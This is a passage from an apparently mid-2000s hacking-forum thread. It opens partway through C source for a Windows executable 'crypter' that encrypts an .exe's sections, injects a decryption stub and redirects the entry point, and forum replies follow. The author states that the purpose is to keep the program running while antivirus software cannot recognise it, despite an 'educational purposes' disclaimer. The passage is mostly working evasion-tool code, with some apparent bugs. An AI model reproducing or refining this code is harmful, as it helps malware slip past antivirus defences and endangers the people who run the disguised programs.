 printf("*** detection.  It assumes these are .CODE & .DATA  ***\n");
 printf("*** Disclaimer: This software is for educational    ***\n");
 printf("*** purposes only.  No responsibility is held or    ***\n");
 printf("*** accepted for misuse.                            ***\n");
 return 0;
}
HANDLE hFile = CreateFile(
      argv[1],
      GENERIC_WRITE | GENERIC_READ,
      FILE_SHARE_READ | FILE_SHARE_WRITE,
      NULL,
      OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL,
      NULL);
if(hFile == NULL)
{
 printf("Invalid filename...exiting!");
 return 0;
}
// get size of file
LARGE_INTEGER bigInt;
BOOL diditWork = GetFileSizeEx(hFile, &bigInt);
// assume it's DWORD or less
DWORD fileSize = bigInt.LowPart;
if(fileSize + 0x2000 >= ULONG_MAX) return 0;


HANDLE hFileMap = CreateFileMapping(
      hFile,
      NULL,
      PAGE_READWRITE,// | SEC_IMAGE,
      bigInt.HighPart,
      bigInt.LowPart + 0x2000 ,
      "myfile");
if(hFileMap == NULL)
{
 printf("Unable to create file mapping! Exiting...");
 return 0;
}

// map file into memory
LPVOID hMap = MapViewOfFile(
     hFileMap,
     FILE_MAP_WRITE,
     0,
     0,
     0);
if(hMap == NULL)
{
 printf("Unable to map file into memory! Exiting...");
 return 0;
}

HMODULE hModule = (HMODULE)hMap;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
 
IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)hModule + pDosHeader->e_lfanew);

IMAGE_OPTIONAL_HEADER* optionHeader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hModule+pDosHeader->e_lfanew+24);

VOID* pBaseCode = (VOID*)optionHeader->BaseOfCode;
DWORD codeSize = optionHeader->SizeOfCode;

IMAGE_SECTION_HEADER* sectionHeader = GetSectionHeader(hModule);


// crypt sections

IMAGE_SECTION_HEADER* sectionHeaderArray[20];
for(int i = 0;i <= 20; i++) sectionHeaderArray[i] = NULL;

sectionHeaderArray[0] = FindFirstSection((DWORD*)hModule);
EncryptSection(sectionHeaderArray[0], (DWORD*)hModule);

int j = 1;
while(true)
{
 sectionHeaderArray[j] = FindNextSection((DWORD*)hModule, sectionHeaderArray[j-1]);
 if(sectionHeaderArray[j] == NULL) break;
 EncryptSection(sectionHeaderArray[j], (DWORD*)hModule);
 j++;
 break;//////////////////////
}


// store rva from new entry point to original entry point at position pBaseCode + fileSize + 2

DWORD numOfSections = 2;// pNtHeaders->FileHeader.NumberOfSections;

IMAGE_SECTION_HEADER* lastSection = FindLastSection((DWORD*)hModule);

DWORD* storageSpot = (DWORD*)((DWORD)hModule + (DWORD)lastSection->SizeOfRawData + (DWORD)lastSection->PointerToRawData);

*(storageSpot) = (DWORD)optionHeader->AddressOfEntryPoint; //originalEntryPoint- ((DWORD)storageSpot + 2);

*(storageSpot + 1) = (DWORD)optionHeader->ImageBase;

for(i = 0; i < numOfSections; i++)
{
 *(storageSpot + 2 + 2*i) = (DWORD)sectionHeaderArray[i]->VirtualAddress;
 *(storageSpot + 2 + 2*i + 1) = (DWORD)sectionHeaderArray[i]->Misc.VirtualSize;
}

*(storageSpot + 2 + 2*numOfSections) = 2;//pNtHeaders->FileHeader.NumberOfSections;

// now we need to add our decryption routine to storageSpot + 4 (say)
int dSize = (PBYTE)FunctionStart -  (PBYTE)FunctionEnd;
DWORD start = (DWORD) FunctionStart;
DWORD end = (DWORD) FunctionEnd;
DWORD length = (end - start);
// memcpy(storageSpot + 2 + pNtHeaders->FileHeader.NumberOfSections + 1, DecryptAndStart, length);
CopyMemory(storageSpot + 2 + 2*numOfSections + 1,
   DecryptAndStart, length);



// set new code as executable
// IMAGE_SECTION_HEADER* newsection = AddSection((DWORD*)hModule, (DWORD)storageSpot + 4 - (DWORD)hModule, length);

// to do this we will simply find the last section (i.e. one with highest RVA
// and extend this by size needed
// and set it to executable


lastSection->Misc.VirtualSize += 0x2000;
lastSection->SizeOfRawData += 0x2000;
lastSection->Characteristics = IMAGE_SCN_MEM_WRITE|
        IMAGE_SCN_MEM_READ|
        IMAGE_SCN_MEM_EXECUTE|
        IMAGE_SCN_CNT_UNINITIALIZED_DATA |
        IMAGE_SCN_CNT_INITIALIZED_DATA|
        IMAGE_SCN_CNT_CODE;//0xE00000E0;

// set new entry point
optionHeader->SizeOfImage += 0x2000;
optionHeader->SizeOfCode += 0x2000;
optionHeader->SizeOfInitializedData += 0x2000;
optionHeader->AddressOfEntryPoint = (DWORD)lastSection->VirtualAddress + (DWORD)lastSection->SizeOfRawData + 12 + 2*4*numOfSections - 0x2000;

// finally we need to set the main code section as writable for our stub to decrypt it!

MakeAllSectionsWritable((DWORD*)hModule);
printf("Crypted file successfully!");
}


n.n.p
um, .... wow is about all I can say. Seriously nice code.

I have but one question (i'd probably have more if i could actually follow your code .. must learn asm wink.gif) is the entire point of this just to encrypt a .exe file?
tibbar
the point is to encrypt an exe so that it still executes correctly, but AV cannot recognise it.
n.n.p
QUOTE(tibbar @ Jul 18 2005, 09:04 AM)
the point is to encrypt an exe so that it still executes correctly, but AV cannot recognise it.
*



Ah, thanks for clearing that up.

It looks pretty damn complicated to be honest.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2005 Invision Power Services, Inc.